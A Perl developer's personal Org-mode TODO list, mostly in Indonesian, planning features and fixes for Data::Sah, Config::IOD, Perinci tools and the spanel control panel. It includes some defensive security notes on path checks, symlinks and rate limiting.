dsah: strategi sort clause berdasarkan dependency [2012-09-26 Wed]\n  + TH: normalize_arg agar kita bisa normalize schemas yang ada di clause arg\n  + normalize_schema memanggil normalize_arg\n  + TH: get_schemas_in_arg utk return semua schemas yang ada di arg\n  + _form_deps memanggil get_schemas_in_arg secara rekursif untuk get semua\n    subschemas. baru setelah itu dilist semua expression dan sort berdasarkan\n    variable dependency.\n** TODO dsah: strategi merge:\n  + merge dan buang merge prefixes\n  + rekursif?\n  + normalize hasil merge\n** TODO ciod: schema agar user hanya bisa masukin valid values, dan juga utk specify defaults.\n** TODO ciod: limit ukuran file, jumlah param, jumlah section, ...\n** TODO ciod: param: include_root? (gak boleh keluar dari sini). utk ngeceknya, coba\n  lihat is_secure_path di: https://www.securecoding.cert.org/confluence/display/perl/IDS00-PL.+Canonicalize+path+names+before+validating+them\n** TODO ciod: param: file_extensions (default .ini & .iod)\n** TODO ciod: param: disable expressions per file\natau in general disable some features on a per file basis\n** TODO ciod: param: hooks\nutk implement di atas\n\ncontoh:\n\n: package Spanel::Config::IOD;\n: \@ISA=qw(Config::IOD);\n: sub before_include {\n:     # set param: ignore jika file inaccessible\n:     # set param: ignore jika file too big\n:     # set param: ignore jika ada invalid parameter\n:     # set param: ignore jika ada error lainnnya\n: }\n:\n: sub before_include_after_open {\n: }\n\n  + sebelum include (open) sebuah file\n  + begitu udah open included file (tapi belum diproses)\n  + saat selesai sebuah section\n  + (more in the future when needed)\n** TODO ciod: opsi utk include a file under certain section prefix contoh:\n/etc/spanel/password.ini diload under section [password] dan di dalamnya kalau\nada section tertentu bisa diignore atau error.\n** TODO ciod: opsi agar include file tidak boleh mengandung section lines. contoh sama\n  dg password tadi, kita ingin agar si file hanya berisi foo=val lines aja.\n** TODO ciod: opsi utk tidak usah\n** TODO ciod: param: disallow symlink\nagar secure, kita harus open dulu filenya, baru determine lewat stat ke\nfilehandle\n** TODO ciod: param: path/prefix real path yang diperbolehkan\n** TODO ciod: switch to user before opening a file\nini bisa diimplementasi lewat hooks\n** TODO ciod: param: batasi parameter dan/atau section names hanya boleh regex/pass\ncheck tertentu contoh di spanel kita hanya memperbolehkan parameter itu. kalo\nerror kita bisa warn dan ignore parameter tersebut.\n** TODO perl: buat plan development general\n- monthly, quarterly, yearly\n- termasuk utk project ga, gd, cpanl, ...\n** TODO [2012-12-19 Wed] pengganti Log::Any::Adapter::Log4perl\n** TODO [2012-12-11 Tue] webapp automation: forum (phpbb 2.x): buang user2x yg sudah inactive dari daftar watch list (karena mis alamat emailnya juga udah diganti/dinonaktifkan)\n- contoh terjadi di mwn, staf2x yg udah keluar gw set alamat emailnya jadi\n  staf-EX\@masterweb.com, jadi kalo ada topic notification, pada mental. dan\n  mentalnya ke email admin.\n** TODO [2012-12-06 Thu] standardize log level\n- yang sekarang masih arbitrary dan tidak terlalu simpel. bandingkan dengan\n  dispatchouli (terlalu simple sih for my taste/needs apalagi di proyek segede\n  spanel, tapi simple works most of the time).\n- misalnya:\n  + trace adalah level yang bakal gw remove dari production spanel code.\n    ngetrace entry dan exit subroutine (mis: la4class). for developers, not\n    users.\n  + debug? for users?\n  + info? for users. ini adalah level yang keliatan jika user specify -v\n    (--verbose). contoh?\n  + warn. ini utk sesuatu yang perlu ditampilin walau user gak specify -v. tapi\n    kalo user specify -q (--quiet), warning2x ini harus silent.\n  + error. ini utk sesuatu yg perlu ditampilin walau user specify --quiet.\n  + fatal. ini utk sesuatu yg perlu ditampilin no matter what.\n** CANCELLED [2012-12-04 Tue] perlmv: support undo\n- [2013-06-02 Sun] update: cancel. udah ada trashu (File::Trash::Undoable)\n** TODO [2012-11-22 Thu] learn twitter bootstrap\n- presentasi di yapceu2012 memperlihatkannya\n- stratopan.org uses it\n** IDEA [2012-11-20 Tue] perl module: modul2x yg pake nama 'no'  :silly:blogged:\n- ide:\n  + no need\n  + no way jose\n  + no longer\n  + no go\n  + no man's land\n- sudah ada:\n  + no thanks\n  + no more\n  + no less\n- [2013-10-26 Sab] mentioned on my blog\n** TODO [2012-11-20 Tue] dsah: type scalar (utk check specific perl stuffs: weak ref, blessed, tainted, read_only, ref) [#C]\n- turunan dari BaseType (jangan dari str)\n- clauses: is_ref, is_weak_ref, blessed, tainted, is_ro\n** TODO [2012-11-20 Tue] ciod: pakai re2 (mencegah dos attack)\n** IDEA [2012-11-20 Tue] perl: create a better cpan feed\n- abstract\n- latest changes entry\n- one-two paragraphs of dscription\n- optional: tanggal previous release, tanggal first release\n** IDEA [2012-11-20 Tue] dsah: generate XS code [#C]\n** IDEA [2012-11-20 Tue] dsah: support re2 (mencegah dos attack) [#C]\n** IDEA [2012-11-14 Wed] compbashhist: tawarkan some completion walaupun itu bukan nilai lengkap\ndan kalo bisa urutannya juga diatur sesuai mana yang paling sering dipakai,\nbukan hanya asciibetical. contoh:\n\n: list-id-holidays --year <tab>\n\nbisa keluar:\n\n: 2012\n: 2013\n: 2014\n: 2015\n: 2016\n: 2017\n: 2011\n: 2010\n: 2009\n: 2008\n: 2007\n: 2006\n\n** TODO [2012-11-14 Wed] swwatch: patch or workaround SemVer\nSemVer saat ini gak menerima 1.0beta (perlu at least jadi 1.0.0beta).\n\n** TODO [2012-11-13 Tue] bor: how to handle this?\n- secret question 1: ada pilihan/select\n- kalo udah dipilih, secret question 2 haruslah exclude pilihan yang pertama\n  (jadi, daftar pilihannya depend on other form).\n- demikian pula sebaliknya? 2 diisi dulu, baru 1.\n** IDEA [2012-11-13 Tue] perl module: dsah: modul utk menghasilkan schema by examples\nmis: dikasih valid => [1, 3, 2, 6, 5, 10], invalid => [\"foo\", -1, 11], hasilnya\n[int, min=>1, max=>10].\n\nkonsepnya sama seperti \"create mail filters on messages like these\".\n** TODO [2012-11-09 Fri] bor: tombol utk fill password field with random value [#C]\ncontoh di directadmin, saat create reseller.\n\n: Password:          [            ] [random]\n: Re-enter password: [            ]\n\nkalo tombol ditekan, otomatis kedua field tersebut diset. tapi, sebetulnya gak\nperlu juga. bisa aja kita buat: kalo gak diisi, otomatis diset random.\n** TODO [2012-11-09 Fri] periswrap: ? option to allow/disallow passing special argument (or, specify list of allowed, list of disallowed)\n** TODO [2012-11-09 Fri] periahs: option to allow/disallow passing special argument (or, specify list of allowed, list of disallowed)\ndiperlukan untuk security, misalnya di spanel\n** TODO [2012-11-09 Fri] ri: spesifikasi utk result metadata, utk spanel API, fungsi2 perlu bisa state bahwa array yg dikembalikan adalah tabel atau list of objects\ncontoh, list-accounts atau list-services mengembalikan daftar akun dan servis\ndalam bentuk AoH. perlu bisa express bahwa ini adalah array of objects or items.\ndan utk tiap item ada action yang bisa dilakukan. tapi ini ga usah\ntampil/mengotori.\n\nbarangkali:\n\n:  [200, \"OK\",\n:   [\n:     {name=>\"http\", title=>\"Web server (Apache)\", port=>80, status=>\"running\"},\n:     {name=>\"httpproxy\", title=>\"Web proxy (Squid)\", port=>[2138, 8080], status=>\"stopped\"},\n:     {name=>\"pop3d\", title=>\"POP3 daemon (dovecot)\", port=>110, status=>\"disabled\"},\n:   ],\n:   {items => [\n:      {actions => [{function => 'stop_service', args => {service=>'http'}, xtitle=>'Stop'}, # function otomatis di-qualify sesuai si caller\n:                   {function => 'Spanel::API::service::restart_service', args => {service=>'http'}, xtitle=>'Restart'},], },\n:      {actions => [{function => 'Spanel::API::service::start_service', args => {service=>'http'}, xtitle=>'Restart'}], },\n:    ]}\n:  ]\n\ngenerate item_actions perlu dienable dulu lewat some special argument. dan ada\npilihan language juga? atau title itu gak usah, di level UI aja (gw cenderung ke\nsini).\n\nUPDATE: sometimes ini perlu dilakukan oleh wrapper atau middleware periahs,\nsupaya orthogonal, separation of concern. misalnya, list-services memberikan\npilihan start & stop tergantung apakah servis saat ini sedang stopped atau\nstarted. tapi gimana dengan permission? ini perlu difilter lagi di level di luar\nfungsi.\n\nbarangkali tiap fungsi perlu diberi metadata, dia act on which entity/object,\nbutuh permission bit apa aja, contoh:\n\n \$SPEC{start_service} = {\n    ...\n    tags => ['perm::service.modify', 'item-type::service', 'item-id-arg::service', 'action-type::change-state', 'final-state::running',\n }\n\ndan nanti list_services mengembalikan result metadata sbb:\n\n {items => [\n     {id => 'http'}, # isinya cuma item id aja, ini\n     {id => 'httpproxy'},\n     {id => 'pop3d'},\n  ]}\n\nlalu wrapper atau middleware setelah call akan mencari semua fungsi yang match\ndengan tag ini. tapi bagaimana filtering jika udah start gak perlu fungsi start\nlagi, dsb. mungkin si fungsi bisa ngasih hint, mis:\n\n {item_type => 'service',\n  items => [\n     {id => 'http', state => 'running'}, # isinya cuma item id aja, ini\n     {id => 'httpproxy', state => 'stopped'},\n     {id => 'pop3d', state => 'disabled'},\n  ]}\n\nlalu nanti wrapper perlu mencari semua fungsi yang punya tag: item-type::service\n(atau semua package yang item-type::service). lalu filter out semua yang tag-nya\nfinal-state::\$state sama dengan si state). lalu baru nanti filter lagi dengan\npermission.\n** TODO [2012-11-09 Fri] periswrap: add append_prefilters, prepend_prefilters, ({append,prepend}_postfilters?)\ndiperlukan oleh borang, kita ingin utk web form utk semua field kita strip dulu\ntrailing atau leading spaces-nya. tapi kita gak mau harus specify ini di schema\nutk tiap field. utk cli atau direct call juga ga perlu sebetulnya.\n** TODO [2012-11-09 Fri] perisgen-acctbl: generate argumen str.starts_with utk optimasi pencarian\nselain str.contains. kalo mau, sekalian juga str.ends_with. diperlukan oleh tab\ncompletion misalnya.\n** TODO [2012-11-09 Fri] comp: tab completion ada setting limit num of items\ndiperlukan oleh omnibox di spanel, karena by default ada pause completion, maka\nsebaiknya gak search semua item biar ga berat. contoh:\n\n: spanel suspend-site w<pause>\n\nmaka akan muncul daftar pilihan, tapi gak usah semua biar ga berat ke server:\n\n: spanel suspend-site www.aaaa.com\n: spanel suspend-site www.aaaa2.com\n: spanel suspend-site www.adaaja.com\n: spanel suspend-site www.aplus.org\n: spanel suspend-site www.azarenka.com\n: spanel suspend-site www.babi.net\n\nuntuk complete argumen, akan launch list-sites, nah perlu ada argumen\n--site-starts-with x lalu --result-limit 6. agar nanti si fungsi list_sites bisa\noptimize gak melakukan readdir(/s), ambil semua, sort, dan hanya ambil 6.\nmelainkan bisa dengan glob /s/w* (but does that still require a readdir() on the\nbig /s dir anyway?). anyway, idea-nya seperti itu.\n** TODO [2012-11-08 Thu] perisgen-acctbl: each argument should be given schema from field spec\nfor example:\n:     table_spec => {\n:         fields => {\n:             id => {\n:                 index      => 0,\n:                 schema     => ['str*' => {\n:                     match => \$deb_re,\n:                 }],\n:                 searchable => 1,\n:             },\n:             ...\n:         },\n:         pk => 'id',\n:     },\nmaka argument seperti 'id.min' harusnya juga schema [str* => match => \$deb_re].\napa ini sudah dilakukan ya?\n\n** IDEA [2012-11-07 Wed] bench: accept string as first arg [#C]\nselain:\n\n: bench sub { ... }\n\nterima juga ini?\n\n: bench 'foo()'\n\nini sama seperti di command-line. dan bisa mempersimple command-line script.\n** IDEA [2012-11-03 Sat] perl module: Perinci::Importer [#C]\nseperti periexp, tapi dibalik, si importer yang melakukan wrapping. lebih\nseragam, gak ada default exports. kita gak perlu use Perinci::Exporter di modul,\nsi loader yang loader.\n\n: use Perinci::Importer 'Foo::Bar', 'sub1' => { import opts ... }, ':tag1';\n** TODO [2012-10-31 Wed] dsah: bagaimana menghandle clause yang return something other than bool?\n- contoh: cset\n** IDEA [2012-10-24 Wed] progany: format khusus untuk progany-la; periahs: parse format ini dan turn to \$progress->update call instead of \$log->{debug,...} calls\nagar nanti dapat ditampilkan oleh pericmd.\n** TODO [2013-11-06 Rab] peritm: jalankan lagi (gw pengen jalanin setup-symlinks-in-my-home\n** TODO [2013-11-04 Sen] periexp: reduce startup overhead\n- currently it uses periwrap and wrap all subroutines, this loads Data::Sah et\n  al as well as takes time to wrap. for simple module startup is already 0.1s on\n  my laptop, unacceptable in some cases.\n** IDEA [2013-10-31 Kam] perl module: org contact to vcard format     :2blog:\n- kita belum bikn fungsi list-org-contacts utk extract contact records from org\n  document\n- ini bisa jadi cara kita export our addressbook to phone/cloud/etc.\n- jangan lupa notes juga dimsukin ke vcard, karena gw banyak bikin notes.\n** TODO [2013-10-31 Kam] periswrap: accounting POC, mis max calls per user per hour/day, max cpu usage, max rows returned\n** TODO [2013-10-26 Sab] serializeutils: add pp-yaml\n** TODO [2013-10-26 Sab] serializeutils: add --color option to *2yaml *2json & pp-json\n** TODO [2013-10-26 Sab] serializeutils: add --yaml-xs --yaml-syck --json-xs --json-pp to yaml2json json2yaml\n** TODO [2013-10-26 Sab] serializeutils: add --xs --syck to yaml2** *2yaml\n** TODO [2013-10-26 Sab] serializeutils: add --xs --pp to json2* *2json\n** WISHLIST [2013-10-25 Fri] perl module: App::ftpthis [#C]         :blogged:\n- gak perlu sih, tapi iseng aja.\n- log ::\n  - [2013-10-26 Sab] mentioned on my blog\n  - [2014-06-12 Thu] done\n** WISHLIST [2014-06-12 Thu] perl module: App::bluetooththis (or bluethis)\n- mirip seperti httpthis & ftpthis\n- mungkin implementation-wise, share base class? App::Foothis\n** WISHLIST [2014-06-12 Thu] perl module: App::btthis (bittorrentthis)\n- mirip seperti httpthis & ftpthis\n- mungkin implementation-wise, share base class? App::Foothis\n** WISHLIST [2014-06-12 Thu] perl module: App::rsyncthis\n- mirip seperti httpthis & ftpthis\n- setup direktori utk dishare dengan rsync daemon\n- print out rsync:// url\n** TODO [2015-03-16 Mon] rsybak: list backups (with their mtime, etc; or perhaps even with the full log of last backup, duration)\n** TODO [2015-03-16 Mon] rsybak: manipulate backups (delete some/all; do something else?)\n** TODO [2015-03-16 Mon] rsybak: a single command to check general status of backups\n- including whether backup process is running\n- when backup process last run, its exit status, its duration\n- when next backup process will run (this requires scheduler info)\n** TODO [2015-03-16 Mon] rsybak: subcommand to check whether backup process is currently running\n** WISHLIST [2015-03-16 Mon] rsybak: eta for next backup?\n** IDEA [2015-03-09 Mon] perl module: pod weaver plugin to strip (remove)/empty some sections\n** WISHLIST [2013-12-20 Fri] periap: caching for (list => \"/\")\nkarena ngelist semua prefix, jadi lambat (cuma sekitar 200/s di PC kantor gw,\nsementara kalo spesifik seperti /Perinci/ dapet 2800/s dan /Perinci/Examples/\ndapet 4472/s)\n** TODO [2013-11-13 Wed] sah: new type: set\n- seperti array, hanya saja elemen2nya unik\n- di periscomp, jika mis schema argumen [set => of => [str => in => [qw/a b\n  c/]]], otomatis nanti completion untuk 'a <tab>' completion-nya [b, c] dan gak\n  [a, b, c].\n- di validation, otomatis nambah check utk mengecek uniqueness.\n** WISHLIST [2013-11-12 Tue] procgov: tambahkan kemampuan seperti App::norepeat\n** WISHLIST [2013-11-12 Tue] perisprop: tambahkan kemampuan seperti App::norepeat\n** WISHLIST [2014-03-07 Fri] perisprop: limit concurrency\n- dibutuhkan nanti untuk spanel\n- bisa pake key (defaultnya nama fungsi itu sendiri)\n- bisa dioverride (mis lewat --force dicommand-line)\n** WISHLIST [2013-11-07 Thu] pericmd: translatable error messages (yang ada di _err(...))\n** TODO [2013-11-06 Wed] pericmd: cache Riap meta/info responses for bash completion\n- unlike app-riap, ini harus disave di file instead of memory.\n- masih bisalah pake CHI, cuma dikit penambahan overheadnya karena sama2x pake\n  Moo, JSON, etc dan hanya akan terjadi jika sudah terjadi Riap request (kita\n  akan initialize cache object secara lazy):\n\n : 01Jan17:03:21 s1\@builder:~/proj/pd/app-riap\$ perl -MDevel::EndStats=verbose,0 -MPerinci::CmdLine -E'Perinci::CmdLine->new'\n :\n : # Start stats from Devel::EndStats:\n : # Program runtime duration: 0.049s\n : # Total number of required files loaded: 58\n : # Total number of required lines loaded: 22715\n : # End of stats\n : 01Jan17:04:09 s1\@builder:~/proj/pd/app-riap\$ perl -MDevel::EndStats=verbose,0 -MPerinci::CmdLine -MCHI -E'Perinci::CmdLine->new'\n :\n : # Start stats from Devel::EndStats:\n : # Program runtime duration: 0.061s\n : # Total number of required files loaded: 79\n : # Total number of required lines loaded: 35196\n : # End of stats\n** TODO [2014-01-04 Sab] dsah: Prog: for return_type=full, add msgpath/dpath/spath (proper array form) on each error message\n** TODO [2014-01-04 Sab] dsah: js/perl: test validating under compile option debug=1 (debug_log=1)\n- karna saat ini di js masih error hasil kompilasi jika debug_log hidup.\n** FIXED [2014-01-03 Fri] dsah: clause req_keys: saat dirun dies dg pesan 'Can't use string (\"a\") as a HASH ref while \"strict refs\" in use at (eval 112) line 28.'\n- kayaknya terjadi confusion/clash di variabel '\$_'. terjadi saat kita pass\n  schema: [array => of => [hash => req_keys => [\"a\"]]] tapi jika cuma [hash =>\n  req_keys => [\"a\"]] gak terjadi.\n- saat data [] oke. saat data [\"x\"] oke (validation fail). saat data [{}] atau\n  [{b=>1}] muncul pesan error spt itu (\"a\" yg dideref jadi hash.\n- line number menipu, errornya pada kode req_keys:\n\n: (!defined(List::Util::first(sub {!exists(\$_->{\$_})}, \@{ [\"b\"] }))))))\n\n- nah, terjadi clash memang. gw harus cari semua yang ada '\$_' dan \$dt dalam\n  satu blok (eg. sub{}/grep{}/map{}) [nanti jika kita udah support expr, mungkin\n  juga \$ct mengandung variabel tersebut dan ini ada di beberapa tempat]. utk yg\n  '\$_' dan \$dt kebetulan hanya ada di req_keys aja.\n- FIXED [2014-01-03 Fri]\n** BUG [2013-12-28 Sab] parse-id-phone: 021 3367 55xx itu cell phone/cdma, bukan land\n** IDEA [2013-12-27 Jum] perl module: extract prices/currency number from text\n- sekalian bisa ekstrak konteks di deket2xnya\n- contoh, book-collection.org gw, ada harga2x buku di situ\n** TODO [2013-12-19 Thu] periahs, ri: beri informasi rate-limiting di riap, riap HTTP, spanel-sendmail, spanel-smtpd...\n- biar user tau, berapa lagi limitnya dalam 1 jam dan 24 jam\n- DONE utk spanel-smtpd (tapi baru di log akses doang, mestinya di http header\n  jg kan ya, utk memberitahu user)\n- ref:\n- biasanya utk implementasinya (utk API calls) pake redis, pake mysql gitu berat\n  di write-nya, ini sangat write intensive soalnya (per request).\n- http status jika over: 429 (too many requests). 503 (service unavailable)\n  kayaknya kurang pas.\n- di twitter: 350/hour. google compute: 50k/day, 20/sec.\n- utk header http yg diberikan ke klien, github/vimeo pake x-ratelimit-limit &\n  x-ratelimit-remaining. twitter pake x-rate-limit-{limit,remaining,reset} (yg\n  reset adalah waktu sebelum limitnya direset). imgur pake\n  x-ratelimit-user{limit,remaining,reset} dan\n  x-ratelimit-client{limit,remaining}.\n** TODO [2013-12-18 Rab] riap-app: test with cpanlists.org/api/\n** BUG [2013-12-14 Sab] pericmd, perisgen-acctbl: setlocale berisik n gagal (see CT)\n** BUG [2013-12-20 Jum] perisgen-acctbl (list-my-outdated-modules): gagal setlocale\n- di laptop gw, setlocale(LC_ALL, \"en_US\") gagal, harus \"en_US.UTF-8\")\n** BUG [2013-12-14 Sab] periga-argv/...: --has-tags belum array (jadi gak bisa --has-tags a --has-tags b)\n** WISHLIST [2013-11-26 Sel] periscomp: support fish\n- kayaknya gak terlalu susah, kita tinggal issue serangkaian perintah\n  'complete'?\n** WISHLIST [2013-11-23 Sab] dsah: configurable term utk hash/field/etc\nnanti translation di Data::Lang::id_ID isinya:\n\nq[hash]\nq[hash]\n\nq[\$TERM_HASH contains non-allowable TERM_KEY %s]\nq[\$TERM_HASH mengandung \$TERM_KEY %s]\n\ndefault \$TERM_KEY = field, default \$TERM_HASH = hash.\n\nbisa diconfigure di Data::Sah::Compiler::human compile option, mis: terms =>\n{TERM_HASH => \"hash\", TERM_KEY=>\"field\"}. nanti \"hash\" dan \"field\" ini\nditranslate dulu.\n** TODO [2013-11-20 Rab] la4package/la4class kayaknya ga baleg saat ini\n- suka menghasilkan:\nCan't call method \"_resolve_base_type\" on unblessed reference at lib/Data/Sah/Compiler.pm line 128.\n- gw coba pake Devel::TraceMethods gak tuh.\n** TODO [2013-11-20 Rab] dsah: make it easier to customize or translate error messages\n- selain memasangnya di schema (lewat atribut .err_msg)\n- contohnya, \"Data is not of type %s\", gw pengen ganti ini jadi \"You didn't\n  input a number\" tanpa gw harus monkey patching atau tau terlalu banyak detil\n  Data::Sah internal, kalo bisa.\n- sebenernya ini masuk ke translation. kita ingin subclass en, lalu menambahkan\n  frase2x kita sendiri.\n** TODO [2013-11-16 Sab] list all available tickit widgets\n** TODO [2013-11-16 Sab] coba buat widget tickit sederhana\n** TODO [2014-03-29 Sab] periahs: action2x yg gak penting seperti info, list, meta, child_metas gak perlu dilog complete responsenya, menuh2in log aja\n- yang penting sebenernya cuma call.\n** TODO [2014-03-29 Sab] count-my-todos: pisahkan yg ideas, wishlist, dan todo (tetep itung total undone & done, tapi itung juga per todo keyword)\n** TODO [2014-03-28 Fri] dsah: fix broken tests after adding normalize_clset\n** TODO [2014-03-28 Fri] dsah: add tests for normalize_clset, test that 'clset' clause normalizes its value\n** TODO [2014-03-28 Fri] riap-app: when doing 'ls -l', show function/package summary?\n: .---------------------------------------------------------.\n: | name            type       summary                      |\n: |                                                         |\n: | modify/         package    Functions to modify account  |\n: | list_accounts   function   List accounts                |\n: | get_account     function   Get account information      |\n: | count_accounts  function   Count the number of accounts |\n: `---------------------------------------------------------'\n** TODO [2014-03-28 Fri] riap-app: when doing 'ls -l', if every item is a function, also show number of args, ...\n: .------------------------------------------------------------------------------------.\n: | name            type       summary                        Arguments  Required args |\n: |                                                                                    |\n: | list_accounts   function   List accounts                  10         0             |\n: | get_account     function   Get account information         2         1             |\n: | count_accounts  function   Count the number of accounts   10         0             |\n: `------------------------------------------------------------------------------------'\n** IDEA [2014-03-27 Thu] ri: result: specify that result returns a list of records (a table) and specify its summary\n- supaya kita bisa create result metadata format_options utk formatting\n** IDEA [2014-03-26 Wed] secara rutin bikin hari (or time box, mis 1 jam or 2 jam) utk nambah tes pada dist yg belum ada test  :testing:\n** IDEA [2014-03-14 Fri] ri: func: args: property to allow skipping documentation of an argument (in cmdline and/or pod and/or wrapped meta [for api])\n** IDEA [2014-01-16 Thu] perl module: convert sah schema or rinci function metadata to json schema\n** TODO [2014-01-11 Sab] periswrap: make it easy to add logging & timing to random func\n- clause rinci: logged?\n- clause rinci: timed?\n- but make it less rinci-specific, gak perlu nambahin clause secara eksplisit di\n  source code modul.\n** TODO [2014-01-11 Sab] periswrap: generate code to modify meta instead of dump new meta\ncontoh kasus:\n\n \$SPEC{foo} = {\n     args => {\n         a1 => {\n             schema => [str => default => \"\$ENV{HOME}/lib\"],\n         },\n     },\n };\n\nkalo didump, maka nilai \"\$ENV{HOME}/lib\" akan tercalculate dan terhardcode,\nsebaiknya kita generate codenya:\n\n \$SPEC{foo}{v} = 1.1; # jika diubah dari 1.0\n \$SPEC{foo}{args_as} = \"hash\";\n ...\n\n** IDEA [2014-01-05 Min] borang: design ideas\nperhatikan yg harus diimplementasi: subform (sebagai sebuah control? field?),\nwizard?, bisa mengecek single field saja (utk ajax),\n\napi utama:\n\$form->render(data=>..., errors=>...)\n\$form->field('name')->render\n\$form->control('name')\n\$form->get_data\n\nfield has a control\nfield has a spec\n\$field->get_control\n\nform has a spec\nnew()\nfor (sort \$form->fields) { create & add control (pick default if not specifically assigned) }\nform->get_data itu visit tiap control (or field?) dan memanggil get_data() utk tiap\n  - bisa memilih hanya controls utk halaman tertentu aja\nrender juga sama, iterate over all controls and render them\n\nproses form filling adalah render() tapi kita memberi data\n\ntapi gimana dg proses form filling ajax terhadap form html yg sudah ada? contoh\ndi gudangapi sudah ada form, lalu user memilih example1, maka form akan difill\ndg parameter dari example1, kalo pilih example2 maka akan diganti ke example2.\n\nform spec: {\n  name => ...\n  summary => ...\n  fields => {\n      fieldname1 => {\n          ...\n          tags => [ ... ]\n      },\n      ...\n  }\n\nget data ada yang dari get_data_from_form(\\%form), get_data_from_psgi\n\nrenderer object: \$hr (html renderer), \$cr (console renderer),\n** IDEA [2012-07-23 Mon] ri: func: arg spec: max_size utk cmdline_src = stdin/stdin_or_files, max_items (utk mencegah slurp terlalu besar)\n** IDEA [2012-07-23 Mon] perl module: critic module name\n- if interface to web service (interface to (web service|website)? \\w+\\.(com|net|org|...)) -> WWW, not Net\n** IDEA [2012-07-23 Mon] perl module: critic dzil's dist.ini?\n** IDEA [2012-07-23 Mon] dzil plugin: run devel::endstats for each module / bin, warn jika melebihi target\n** IDEA [2012-07-21 Sat] peri module: Perinci::IOS\n- sama seperti Perinci::CmdLine, tapi instead of creating cmdline app, create\n  ios app (utk iphone, ipod, ipad).\n** IDEA [2012-07-21 Sat] peri module: Perinci::Android\n- sama seperti Perinci::CmdLine, tapi instead of creating cmdline app, create\n  android app.\n** IDEA [2012-07-21 Sat] peri module: Perinci::Desktop (::GUI?)\n- sama seperti Perinci::CmdLine, tapi instead of creating cmdline app, create\n  desktop gui app. probably using Wx atau Qt or something like that.\n** IDEA [2012-07-21 Sat] peri module: Perinci::TUI (Curses?)\n- sama seperti Perinci::CmdLine, tapi instead of creating cmdline app, create\n  terminal TUI app (curses-based).\n** TODO [2012-07-20 Fri] test some important modules with #!perl -T\n- periahs\n- spanel modules\n** TODO [2012-07-18 Wed] rethink dfpc to cover more general solution\n- glossary:\n  - short list: array yg terdiri dari beberapa elemen aja, pendek2x, semua\n    scalar, contoh: [1, 2, 3], [qw/foo bar baz/]. ini banyak terutama gw sering\n    punya tabel yg isi kolomnya adalah tags. ini dirender sebagai string 'a, b,\n    c'.\n\n    XXX kalo elemen mengandung newline, indikasinya ini adalah baris2x ya, mis:\n    [\"line1\\n\", \"line2\\n\", \"line3\\n\"], mungkin bisa dirender jadi 3 baris teks.\n  - row -> hash of scalars/short lists, tapi jumlah key gak boleh terlalu\n    banyak.\n- render strategy:\n  - scalar -> as is\n  - array of ...\n    - all list, panjang rata2x sama -> tabel\n    - all list, panjang sangat berbeda -> see mixed\n    - all row -> tabel\n    - all scalars/short lists -> one-column table\n    - all long hash -> nested table\n    - mixed -> nested one-column table, kalo bisa dengan line antar row supaya\n      jelas. kalo elemen udah banyak, munculkan kolom indeks biar mempermudah\n      tracing.\n\n: .-----------------.\n: |  SCALAR         |\n: +-----------------+\n: |  TABEL...       |\n: +-----------------+\n: ...\n\natau (indexed)\n\n: .-----------------.\n: | idx | value     |\n: +-----------------+\n: |  0  | SCALAR    |\n: +-----------------+\n: |  1  | TABEL...  |\n: +-----------------+\n: ...\n\n  - hash of ...\n    - all scalars atau short lists (mis: {a=>1, b=>1, c=>[1, 2, 3]}) -> one-row\n      table / one-column table (jika jumlah keys >>).\n    - mixed -> tampilan indented a la YAML atau directory tree\n\n: key1: some scalar\n: key2:\n:     some scalar with\n:     newlines\n: key3:\n:  |  .--------.\n:  \\  | tabel  |\n:     '--------'\n: key4:\n:  |  .--------.\n:  \\  | tabel  |\n:     '--------'\n\nukuran indentasi setidaknya 3 atau 4 agar bisa gambar cabang2x tree.\n** CANCELLED [2014-02-19 Wed] finish first version of App::InsertRemoveLines\n- log:\n  + [2014-03-13 Thu] cancel, terlalu trivial, sudah ada sed\n** DONE [2014-02-08 Sat] twutil, tautil: rapikan wrapping untuk huruf chinese/japanese (CJK)\n- bandingkan hasilnya antara pake Text::WrapI18N's wrap() yg lebih rapi vs\n  Text::WideChar::Util's mbwrap() dan Text::ANSI::Util's ta_mbwrap().\n- salah satu cara: split tiap CJK letters jadi satu kata tersendiri (tapi tanpa\n  spasi), contoh: \"\xE6\x88\x91\xE7\x88\xB1\xE4\xBD\xA0steven haryanto\xEF\xBC\x8C\xE6\x88\x91\xE7\x88\xB1\xE4\xBD\xA0!\" displit jadi \"\xE6\x88\x91|\xE7\x88\xB1|\n  \xE4\xBD\xA0|steven+SPC|haryanto|\xEF\xBC\x8C|\xE6\x88\x91|\xE7\x88\xB1|\xE4\xBD\xA0\".\n- DONE [2014-02-08 Sat]\n** IDEA [2014-03-13 Thu] perl module: perisprop: turn on logging\n** IDEA [2014-03-13 Thu] perl module: perisprop: turn on timing/benchmark\n** IDEA [2014-03-13 Thu] perl module: perisprop: throttling\n** IDEA [2014-03-13 Thu] perl module: perisprop: general hook before & after call\n** IDEA [2014-02-08 Sat] dzil plugin: pastikan semua (say \"D:...\" atau print \"D:...\" sudah terkomen [debugging])\n** IDEA [2014-01-25 Sat] perl module: color names in bahasa indonesia\n** IDEA [2014-01-25 Sat] perl module: grep mysql/dbi database         :2blog:\n- kok gak ada ya tool sederhana seperti ini? gw sempet nyari di cpan dan di\n  debian packages (by keyword 'grep' | grep -i database, grep -i mysql)\n- contoh usage yg gw pengen:\n\n : mygrep  REGEX (or -F STR) DBNAME\n : dbigrep REGEX DBNAME TABLENAME TABLE2NAME...\n- lihat juga tool mysqliterate gw.\n** IDEA [2014-01-25 Sat] perl module: substitute mysql/dbi database   :2blog:\n- pasangan si mygrep atau dbigrep\n- contoh:\n** IDEA [2013-08-07 Wed] utk command2x yang ambigu, beri hint\n- contoh:\n: % spanel list-mysql-dbs\n: There are multiple functions called 'list-mysql-dbs':\n:   - spanel mysql list-mysql-dbs\n:   - spanel account.shared.mysql list-mysql-dbs\n- status = 300 (multiple choices)\n: % spanel mysql\n: This is mysql API module. Available functions:\n:   - list-mysql-dbs (...)\n:   - list-mysql-users (...)\n:\n: To get help on a function:\n:   % spanel mysql list-mysql-dbs --help\n** TODO [2013-09-05 Thu] use periai's {allow,deny}_paths for security\n** BUG [2014-01-04 Sat] dsah: js compiler: jika debug=1 (debug_log=1) maka kode yg digenerate error (dan agak aneh memang hasilnya, misalnya ada '&&' di awal)\n** TODO [2014-01-24 Fri] complete Org::To::Pod\ntujuannya agar gw bisa nulis dalam Org, lalu convert ke POD untuk jadi manual\nmodul Perl.\n** IDEA [2015-04-05 Sun] perl module: Org::To::CommonMark\n** IDEA [2014-01-24 Fri] perl module: Org::To::Markdown::Standard\n*kayaknya* cukup mudah kok, kita tinggal pakai Org::Parser lalu walk(). 